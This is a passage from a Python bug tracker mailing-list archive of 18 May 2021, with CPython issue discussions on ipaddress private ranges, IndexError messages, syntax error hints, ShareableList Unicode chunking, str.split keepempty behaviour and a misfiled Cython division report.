list of private networks. 2001::/23 is the whole subnet reserved for special purpose addresses (RFC 2928), regardless of what ranges have actually been assigned. The IPv4 list on the other hand only contains _actual assignments within the reserved subnet_, not the whole reserved block (RFC 5736 / RFC 6890, reserving 192.0.0.0/24, IPv4Address only considers 192.0.0.0/29 and 192.0.0.170/31). I'll file a separate issue for that if not already reported. ---------- components: Library (Lib) messages: 393860 nosy: mjpieters priority: normal severity: normal status: open title: ipaddress.IPv6Address.is_private makes redundant checks type: performance versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:10:08 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 May 2021 09:10:08 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621329008.52.0.890408215697.issue44166@roundup.psfhosted.org> Serhiy Storchaka added the comment: The problem is that such exceptions are often used with the EAFP style. For example: while stop is None or i < stop: try: v = self[i] if v is value or v == value: return i except IndexError: break i += 1 You caught IndexError and do something, but do not use the error message. Formatting error message takes a time. I am sure that error messages of a wast majority of IndexError exceptions are not used, just the type of the raised exception matters. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:15:07 2021 From: report at bugs.python.org (Google Update 2020) Date: Tue, 18 May 2021 09:15:07 +0000 Subject: [issue43223] [security] http.server: Open Redirection if the URL path starts with //racha999coperation In-Reply-To: <1613302956.91.0.878390782912.issue43223@roundup.psfhosted.org> Message-ID: <1621329307.34.0.469139981574.issue43223@roundup.psfhosted.org> Change by Google Update 2020 : ---------- title: [security] http.server: Open Redirection if the URL path starts with // -> [security] http.server: Open Redirection if the URL path starts with //racha999coperation type: security -> crash versions: +Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:15:33 2021 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 18 May 2021 09:15:33 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621329333.77.0.312879587879.issue42937@roundup.psfhosted.org> Martijn Pieters added the comment: This is related to #42937, the IPv4 private network list is not considering the whole of 192.0.0.0/24 to be private. RFC 5736 / 6890 reserved 192.0.0.0/24 for special purposes (private networks) and to date a few subnets of that network have received assignments. The ipaddress modules should use that subnet for any `is_private` test, and not just the subnets of that network that have received specific assignments. E.g. the list currently contains just 192.0.0.0/29 and 192.0.0.170/31, but as this bug report points out, 192.0.0.8/32 has since been added, as have 192.0.0.9/32 and 192.0.0.10/32. The IPv6 implementation *does* cover the whole reserved subnet (although it also includes 2 specific registrations, see the aforementioned #42937), it is just IPv4 that is inconsistent and incomplete here. ---------- nosy: +mjpieters _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:24:46 2021 From: report at bugs.python.org (Ken Jin) Date: Tue, 18 May 2021 09:24:46 +0000 Subject: [issue43223] [security] http.server: Open Redirection if the URL path starts with // In-Reply-To: <1613302956.91.0.878390782912.issue43223@roundup.psfhosted.org> Message-ID: <1621329886.21.0.98321526432.issue43223@roundup.psfhosted.org> Change by Ken Jin : ---------- title: [security] http.server: Open Redirection if the URL path starts with //racha999coperation -> [security] http.server: Open Redirection if the URL path starts with // type: crash -> security _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:26:18 2021 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 18 May 2021 09:26:18 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621329978.93.0.954849463143.issue42937@roundup.psfhosted.org> Martijn Pieters added the comment: Oops, I got my issue numbers mixed up. This is related to #44167, I meant. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:35:25 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 18 May 2021 09:35:25 +0000 Subject: [issue44160] speed up searching for keywords by using a dictionary In-Reply-To: <1621284200.3.0.196820291472.issue44160@roundup.psfhosted.org> Message-ID: <1621330525.27.0.747843511458.issue44160@roundup.psfhosted.org> Serhiy Storchaka added the comment: BTW, we use different approaches for builtin and Python functions. * For Python functions: iterate all keyword arguments and search in the list of keyword parameter names. * For builtin functions: iterate all keyword parameters and search in the list of keyword argument names (or in a dict if var-keyword arguments are passed). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:41:48 2021 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 18 May 2021 09:41:48 +0000 Subject: [issue44167] ipaddress.IPv6Address.is_private makes redundant checks In-Reply-To: <1621328856.79.0.268631804552.issue44167@roundup.psfhosted.org> Message-ID: <1621330908.75.0.015780701545.issue44167@roundup.psfhosted.org> Change by Martijn Pieters : ---------- keywords: +patch pull_requests: +24826 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26209 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:49:58 2021 From: report at bugs.python.org (Gerrit Holl) Date: Tue, 18 May 2021 09:49:58 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment Message-ID: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> New submission from Gerrit Holl : In Python 3.9.4, in a function call, when assigning a comprehension to a keyword argument, and the comprehension contains a spurious colon (if a list or set comprehension) or a missing value (when a dict comprehension), the syntax error message gives a hint that incorrectly suggests that the expression cannot contain an assignment: $ python Python 3.9.4 | packaged by conda-forge | (default, May 10 2021, 22:13:33) [GCC 9.3.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> f(a={x: for x in {}}) File "", line 1 f(a={x: for x in {}}) ^ SyntaxError: expression cannot contain assignment, perhaps you meant "=="? I certainly didn't mean "==" here. The syntax is correct if I either remove the :, or add a value after the :, such as: >>> f(a={x:x for x in {}}) >>> f(a={x for x in {}}) (correct syntax, succeeds if f is defined). The problem here has nothing to do with assignments being in the wrong place, so the message reported by cpython is incorrect. In Python 3.8.10 Python simply and correctly states that the syntax is incorrect: >>> f(a={x: for x in {}}) File "", line 1 f(a={x: for x in {}}) ^ SyntaxError: invalid syntax I have not tried Python 3.10b1. ---------- components: Parser messages: 393865 nosy: Gerrit.Holl, lys.nikolaou, pablogsal priority: normal severity: normal status: open title: Wrong syntax error hint when spurious colon present in function keyword comprehension assignment versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 05:50:58 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 18 May 2021 09:50:58 +0000 Subject: [issue44166] Make IndexError messages for list more informative In-Reply-To: <1621323219.05.0.0543571942932.issue44166@roundup.psfhosted.org> Message-ID: <1621331458.35.0.462581147946.issue44166@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I share the same concern as Serhiy, see my comment in the PR: https://github.com/python/cpython/pull/26207#pullrequestreview-661799899 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 06:22:38 2021 From: report at bugs.python.org (Fred) Date: Tue, 18 May 2021 10:22:38 +0000 Subject: [issue44169] Add HTTPS support to http.server Message-ID: <1621333358.88.0.804428492297.issue44169@roundup.psfhosted.org> New submission from Fred : The http.server module only supports HTTP. https://docs.python.org/3/library/http.server.html I propose that it should also support HTTPS. This would allow it to serve files that depend on features that are restricted to secure contexts. https://developer.mozilla.org/en-US/docs/Web/Security/Secure_Contexts/features_restricted_to_secure_contexts ---------- components: Library (Lib) messages: 393867 nosy: Fred priority: normal severity: normal status: open title: Add HTTPS support to http.server type: enhancement versions: Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 06:27:17 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 18 May 2021 10:27:17 +0000 Subject: [issue44168] Wrong syntax error hint when spurious colon present in function keyword comprehension assignment In-Reply-To: <1621331398.13.0.330386764302.issue44168@roundup.psfhosted.org> Message-ID: <1621333637.69.0.938324273818.issue44168@roundup.psfhosted.org> Change by Pablo Galindo Salgado : ---------- keywords: +patch pull_requests: +24827 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26210 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 06:38:48 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 10:38:48 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621334328.55.0.677753348204.issue25872@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +24828 pull_request: https://github.com/python/cpython/pull/26211 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 06:52:06 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 10:52:06 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621335126.99.0.66384335669.issue25872@roundup.psfhosted.org> Change by Irit Katriel : ---------- pull_requests: +24829 pull_request: https://github.com/python/cpython/pull/26212 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 06:53:06 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 10:53:06 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621335186.97.0.750036313797.issue25872@roundup.psfhosted.org> Change by Irit Katriel : ---------- components: +Library (Lib) -Interpreter Core _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 07:12:09 2021 From: report at bugs.python.org (Huw Jones) Date: Tue, 18 May 2021 11:12:09 +0000 Subject: [issue44170] ShareableList cannot safely handle multibyte utf-8 characters Message-ID: <1621336329.38.0.49764469303.issue44170@roundup.psfhosted.org> New submission from Huw Jones : I've experienced a UnicodeDecodeError when adding unicode strings that contain multibye utf-8 characters into a shareable list. My observation is that ShareableList chunks the list of strings before sending it over the process boundary, however this chunking process is not multibyte aware and will chunk in the middle of multibyte characters. On the other end, this results in the ShareableList throwing a UnicodeDecodeError when it fails to decode not-a-full multibyte utf-8 character. >From running the attached MWE, I see that the string is sent in two chunks, the first being b'Boom \xf0\x9f\x92\xa5 \xf0\x9f\x92\xa5 \xf0' which clearly splits the 4 bytes of the ? character into the first byte and remaining 3 bytes. ---------- components: Library (Lib) files: shareablelist_mwe.py messages: 393868 nosy: huwcbjones priority: normal severity: normal status: open title: ShareableList cannot safely handle multibyte utf-8 characters type: crash versions: Python 3.8 Added file: https://bugs.python.org/file50049/shareablelist_mwe.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 07:18:26 2021 From: report at bugs.python.org (Huw Jones) Date: Tue, 18 May 2021 11:18:26 +0000 Subject: [issue44170] ShareableList cannot safely handle multibyte utf-8 characters In-Reply-To: <1621336329.38.0.49764469303.issue44170@roundup.psfhosted.org> Message-ID: <1621336706.43.0.504302111944.issue44170@roundup.psfhosted.org> Huw Jones added the comment: The workaround I am using is to manually encode/decode. For the MWE, this means encoding on the creation side ``` shared_list = smm.ShareableList([s.encode() for s in strings]) ``` and decoding before using the string ``` for enc_str in shared_list: string = enc_str.decode() ``` ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 07:30:22 2021 From: report at bugs.python.org (Martijn Pieters) Date: Tue, 18 May 2021 11:30:22 +0000 Subject: [issue42937] 192.0.0.8 (IPv4 dummy address) considered globally reachable In-Reply-To: <1610751638.64.0.309759393541.issue42937@roundup.psfhosted.org> Message-ID: <1621337422.5.0.500456048968.issue42937@roundup.psfhosted.org> Martijn Pieters added the comment: > Private is a subset of special use. Should a "_special_use" constant be created. This would include multicast, link_local, private_use, and a few more. There are already dedicated tests for those other special use networks in ipaddress. 192.0.0.0/24 is the block reserved for "IETF Protocol Assignments", which really means: private use. https://datatracker.ietf.org/doc/html/rfc6890#section-2.2.2 marks the block as "Not usable unless by virtue of a more specific reservation.". The registry at https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml lists those specific reservations, and only 2 to date are *globally reachable*, which means they are probably not private: - 192.0.0.9/32, Port Control Protocol Anycast, RFC 7723 - 192.0.0.10/32, Traversal Using Relays around NAT Anycast, RFC 8155 I strongly feel that _any other IP address in the reserved range_ should be treated as private unless marked, by IANA, as globally reachable, at some future date. That would require the list of networks for IPv4Address / IPv4Network is_private to include all of 192.0.0.0/24 _minus those two exceptions_; calculating the network masks for these: >>> def exclude_all(network, *excluded): ... try: ... for sub in network.address_exclude(excluded[0]): ... yield from exclude_all(sub, *excluded[1:]) ... except (IndexError, ValueError): ... yield network ... >>> iana_reserved = IPv4Network("192.0.0.0/24") >>> to_remove = IPv4Network("192.0.0.9/32"), IPv4Network("192.0.0.10/32") >>> for sub in exclude_all(iana_reserved, *to_remove): ... print(sub) ... 192.0.0.128/25 192.0.0.64/26 192.0.0.32/27 192.0.0.16/28 192.0.0.0/29 192.0.0.12/30 192.0.0.11/32 192.0.0.8/32 The module could trivially do this on import, or we could hard-code the above list. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 09:13:51 2021 From: report at bugs.python.org (Mark Bell) Date: Tue, 18 May 2021 13:13:51 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621343631.06.0.324337514234.issue28937@roundup.psfhosted.org> Mark Bell added the comment: So I have taken a look at the original patch that was provided and I have been able to update it so that it is compatible with the current release. I have also flipped the logic in the wrapping functions so that they take a `keepempty` flag (which is the opposite of the `prune` flag). I had to make a few extra changes since there are now some extra catches in things like PyUnicode_Split which spot that if len(self) > len(sep) then they can just return [self]. However that now needs an extra test since that shortcut can only be used if len(self) > 0. You can find the code here: https://github.com/markcbell/cpython/tree/split-keepempty However in exploring this, I'm not sure that this patch interacts correctly with maxsplit. For example, ' x y z'.split(maxsplit=1, keepempty=True) results in ['', '', 'x', 'y z'] since the first two empty strings items are "free" and don't count towards the maxsplit. I think the length of the result returned must be <= maxsplit + 1, is this right? I'm about to rework the logic to avoid this, but before I go too far could someone double check my test cases to make sure that I have the correct idea about how this is supposed to work please. Only the 8 lines marked "New case" show new behaviour, all the other come from how string.split works currently. Of course the same patterns should apply to bytestrings and bytearrays. ''.split() == [] ''.split(' ') == [''] ''.split(' ', keepempty=False) == [] # New case ' '.split(' ') == ['', '', ''] ' '.split(' ', maxsplit=1) == ['', ' '] ' '.split(' ', maxsplit=1, keepempty=False) == [' '] # New case ' a b c '.split() == ['a', 'b', 'c'] ?' a b c '.split(maxsplit=0) == ['a b c '] ?' a b c '.split(maxsplit=1) == ['a', 'b c '] ' a b c '.split(' ') == ['', '', 'a', 'b', 'c', '', ''] ?' a b c '.split(' ', maxsplit=0) == [' a b c '] ?' a b c '.split(' ', maxsplit=1) == ['', ' a b c '] ?' a b c '.split(' ', maxsplit=2) == ['', '', 'a b c '] ?' a b c '.split(' ', maxsplit=3) == ['', '', 'a', 'b c '] ?' a b c '.split(' ', maxsplit=4) == ['', '', 'a', 'b', 'c '] ?' a b c '.split(' ', maxsplit=5) == ['', '', 'a', 'b', 'c', ' '] ?' a b c '.split(' ', maxsplit=6) == ['', '', 'a', 'b', 'c', '', ''] ?' a b c '.split(' ', keepempty=False) == ['a', 'b', 'c'] # New case ?' a b c '.split(' ', maxsplit=0, keepempty=False) == [' a b c '] # New case ?' a b c '.split(' ', maxsplit=1, keepempty=False) == ['a', 'b c '] # New case ?' a b c '.split(' ', maxsplit=2, keepempty=False) == ['a', 'b', 'c '] # New case ?' a b c '.split(' ', maxsplit=3, keepempty=False) == ['a', 'b', 'c', ' '] # New case ?' a b c '.split(' ', maxsplit=4, keepempty=False) == ['a', 'b', 'c'] # New case ---------- nosy: +Mark.Bell _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 09:54:06 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 13:54:06 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621346046.42.0.931466983389.issue25872@roundup.psfhosted.org> Irit Katriel added the comment: New changeset 373741a97c9f6ffee427c2b4eaccb74347af228a by Irit Katriel in branch '3.10': [3.10] bpo-25872: Add unit tests for linecache and threading (GH-25913) (GH-26212) https://github.com/python/cpython/commit/373741a97c9f6ffee427c2b4eaccb74347af228a ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:00:44 2021 From: report at bugs.python.org (Catherine Devlin) Date: Tue, 18 May 2021 14:00:44 +0000 Subject: [issue20131] warnings module offers no documented, programmatic way to reset "seen-warning" flag In-Reply-To: <1388925569.4.0.616104920228.issue20131@psf.upfronthosting.co.za> Message-ID: <1621346444.8.0.721365060776.issue20131@roundup.psfhosted.org> Catherine Devlin added the comment: I think that it's possible to get the desired behavior by setting a filter to "always". ``` > cat warnme.py import warnings for i in range(3): warnings.warn("oh noes!") > python warnme.py warnme.py:4: UserWarning: oh noes! warnings.warn("oh noes!") > cat warnme2.py import warnings warnings.simplefilter("always") for i in range(3): warnings.warn("oh noes!") > python warnme2.py warnme2.py:5: UserWarning: oh noes! warnings.warn("oh noes!") warnme2.py:5: UserWarning: oh noes! warnings.warn("oh noes!") warnme2.py:5: UserWarning: oh noes! warnings.warn("oh noes!") ``` Does that meet the need? ---------- nosy: +Catherine.Devlin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:26:07 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 14:26:07 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621347967.04.0.15683006712.issue25872@roundup.psfhosted.org> Irit Katriel added the comment: New changeset c05d8a6b67785450b1fec0d30fe26d5478bc4f0b by Irit Katriel in branch '3.9': bpo-25872: Add unit tests for linecache and threading (GH-25913) (GH-26211) https://github.com/python/cpython/commit/c05d8a6b67785450b1fec0d30fe26d5478bc4f0b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:27:03 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 14:27:03 +0000 Subject: [issue25872] multithreading traceback KeyError when modifying file In-Reply-To: <1450200064.35.0.872448112145.issue25872@psf.upfronthosting.co.za> Message-ID: <1621348023.17.0.743555642178.issue25872@roundup.psfhosted.org> Irit Katriel added the comment: @uniocto - thank you for the tests. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:44:09 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 14:44:09 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' Message-ID: <1621349049.49.0.119082983225.issue44171@roundup.psfhosted.org> Change by Yao Zhang <792641209 at qq.com>: ---------- components: Parser nosy: lys.nikolaou, pablogsal, zz792641209 priority: normal severity: normal status: open title: Cython cannot compile 'a = 5/6' and return 'a = 0' type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:46:59 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 May 2021 14:46:59 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' Message-ID: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> New submission from Eric V. Smith : If this is really a Cython issue, you should report it on the Cython bug tracker. This bug tracker is for CPython. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:48:55 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 14:48:55 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: Yao Zhang <792641209 at qq.com> added the comment: I'm not going to report the problem yet, I'm a rookie, and this is my first time to report the problem ------------------ ???? ------------------ ???: "Python tracker" _______________________________________ From report at bugs.python.org Tue May 18 10:54:47 2021 From: report at bugs.python.org (Petr Viktorin) Date: Tue, 18 May 2021 14:54:47 +0000 Subject: [issue42591] Method Py_FrozenMain missing in libpython3.9 In-Reply-To: <1607356833.89.0.498069278584.issue42591@roundup.psfhosted.org> Message-ID: <1621349687.27.0.373926828205.issue42591@roundup.psfhosted.org> Petr Viktorin added the comment: Is this function actually usable in Windows? ISTM that you need to define three more functions, PyWinFreeze_ExeInit, PyWinFreeze_ExeTerm and PyInitFrozenExtensions. Was adding this undocumented function to the Windows stable ABI deliberate? I see no discussion about that. ---------- nosy: +petr.viktorin _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 10:56:58 2021 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Tue, 18 May 2021 14:56:58 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: <1621349818.13.0.767295173342.issue44171@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: Closing as this is a Cython bug and not a CPython one. I also suspect this is triggering integer division and therefore is actually not a bug at all. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:11:37 2021 From: report at bugs.python.org (miss-islington) Date: Tue, 18 May 2021 16:11:37 +0000 Subject: [issue41963] ConfigParser: stripping of comments should be documented In-Reply-To: <1602055269.91.0.0897084304522.issue41963@roundup.psfhosted.org> Message-ID: <1621354297.5.0.829766576467.issue41963@roundup.psfhosted.org> Change by miss-islington : ---------- nosy: +miss-islington nosy_count: 1.0 -> 2.0 pull_requests: +24830 pull_request: https://github.com/python/cpython/pull/26213 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:16:20 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 18 May 2021 16:16:20 +0000 Subject: [issue41963] ConfigParser: stripping of comments should be documented In-Reply-To: <1602055269.91.0.0897084304522.issue41963@roundup.psfhosted.org> Message-ID: <1621354580.57.0.169522284469.issue41963@roundup.psfhosted.org> Change by ?ukasz Langa : ---------- nosy: +lukasz.langa nosy_count: 2.0 -> 3.0 pull_requests: +24831 pull_request: https://github.com/python/cpython/pull/26214 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:35:46 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 16:35:46 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349818.13.0.767295173342.issue44171@roundup.psfhosted.org> Message-ID: Yao Zhang <792641209 at qq.com> added the comment: However, in the source code, the source code runs normally, and when compiled and encapsulated with Cython, an exception occurs?Trigger divisible 'a = 5 // 6'?this possibility does not exist.I checked it out :'a = 1,b = 5 / 6 + a'?return :'a = 0' ------------------ ???? ------------------ ???: "Python tracker" _______________________________________ From report at bugs.python.org Tue May 18 12:37:52 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 16:37:52 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: Message-ID: Yao Zhang <792641209 at qq.com> added the comment: However, in the source code, the source code runs normally, and when compiled and encapsulated with Cython, an exception occurs?Trigger divisible 'a = 5 // 6'?this possibility does not exist.I checked it out :'a = 1,b = 5 / 6 + a'?return :'b = 0' ------------------ ???? ------------------ ???: "Python tracker" _______________________________________ From report at bugs.python.org Tue May 18 12:38:31 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 16:38:31 +0000 Subject: [issue38593] Python 3.7 does not catch infinite recursion for some values of sys.getrecursionlimit() In-Reply-To: <1572040268.11.0.31838216135.issue38593@roundup.psfhosted.org> Message-ID: <1621355911.54.0.402705205016.issue38593@roundup.psfhosted.org> Irit Katriel added the comment: 3.7 is no longer getting bugfixes. ---------- nosy: +iritkatriel resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:41:42 2021 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 18 May 2021 16:41:42 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: <1621356102.74.0.0480477538446.issue44171@roundup.psfhosted.org> Eric V. Smith added the comment: Please report this to the Cython bug tracker: https://github.com/cython/cython/issues/ When you do that, you'll want to show the actual code you're having a problem with. You're using both "//" and "/" here. As Pablo said, you're probably having a problem with integer division ("//"). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:41:41 2021 From: report at bugs.python.org (Matthew Barnett) Date: Tue, 18 May 2021 16:41:41 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621356101.25.0.766545781253.issue28937@roundup.psfhosted.org> Matthew Barnett added the comment: The case: ' a b c '.split(maxsplit=1) == ['a', 'b c '] suggests that empty strings don't count towards maxsplit, otherwise it would return [' a b c '] (i.e. the split would give ['', ' a b c '] and dropping the empty strings would give [' a b c ']). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:42:39 2021 From: report at bugs.python.org (Irit Katriel) Date: Tue, 18 May 2021 16:42:39 +0000 Subject: [issue40670] supplying an empty string to timeit causes an IndentationError In-Reply-To: <1589805861.06.0.616610250992.issue40670@roundup.psfhosted.org> Message-ID: <1621356159.55.0.658389143361.issue40670@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:45:25 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 18 May 2021 16:45:25 +0000 Subject: [issue41963] ConfigParser: stripping of comments should be documented In-Reply-To: <1602055269.91.0.0897084304522.issue41963@roundup.psfhosted.org> Message-ID: <1621356325.68.0.0646913325417.issue41963@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset c17ba233b3bdf6af4e9dad24374ab0a917b593e7 by Miss Islington (bot) in branch '3.9': bpo-41963: document that ConfigParser strips off comments (GH-26197) (GH-26213) https://github.com/python/cpython/commit/c17ba233b3bdf6af4e9dad24374ab0a917b593e7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 12:56:01 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 16:56:01 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621356102.74.0.0480477538446.issue44171@roundup.psfhosted.org> Message-ID: Yao Zhang <792641209 at qq.com> added the comment: Thank you for your patient answer, but I still don't understand.I have uploaded my file (*.py).I hope you can solve my problem. I want 'a=5/6' to return 'a= 0.833333333333333...... 'after compilation. ------------------ ???? ------------------ ???: "Python tracker" _______________________________________ -------------- next part -------------- #:The following code outputs a *. Pyd file after being compiled in Cython a = 5 / 6 print(a) #:return :a = 0 b = 1 a = 5 / 6 + b #: return : a = 0 print(a) a = 5 a = a / 6 #:return : a = 0.8333333333333334 print(a) #:After the *.pyd file is generated, run the following code ''' >> import problem >> 0 >> 0 >> 0.8333333333333334 ''' From report at bugs.python.org Tue May 18 13:02:35 2021 From: report at bugs.python.org (Yao Zhang) Date: Tue, 18 May 2021 17:02:35 +0000 Subject: [issue44171] Cython cannot compile 'a = 5/6' and return 'a = 0' In-Reply-To: <1621349219.83.0.566193404543.issue44171@roundup.psfhosted.org> Message-ID: <1621357355.95.0.642911180224.issue44171@roundup.psfhosted.org> Yao Zhang <792641209 at qq.com> added the comment: I want 'a=5/6' to return 'a= 0.833333333333333...... 'after compilation. ---------- Added file: https://bugs.python.org/file50051/problem.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:03:17 2021 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Tue, 18 May 2021 17:03:17 +0000 Subject: [issue41963] ConfigParser: stripping of comments should be documented In-Reply-To: <1602055269.91.0.0897084304522.issue41963@roundup.psfhosted.org> Message-ID: <1621357397.62.0.882683617633.issue41963@roundup.psfhosted.org> ?ukasz Langa added the comment: New changeset 4d17c93dfe760478509bcf709345b0522fd3a7e8 by ?ukasz Langa in branch '3.10': [3.10] bpo-41963: document that ConfigParser strips off comments (GH-26197) (GH-26214) https://github.com/python/cpython/commit/4d17c93dfe760478509bcf709345b0522fd3a7e8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 18 13:07:52 2021 From: report at bugs.python.org (Mark Bell) Date: Tue, 18 May 2021 17:07:52 +0000 Subject: [issue28937] str.split(): allow removing empty strings (when sep is not None) In-Reply-To: <1481469102.15.0.255147638686.issue28937@psf.upfronthosting.co.za> Message-ID: <1621357672.35.0.93099323585.issue28937@roundup.psfhosted.org> Mark Bell added the comment: > suggests that empty strings don't count towards maxsplit Thank you for the confirmation. Although just to clarify I guess you really mean "empty strings *that are dropped from the output* don't count towards maxsplit". Just to double check this, what do we expect the output of 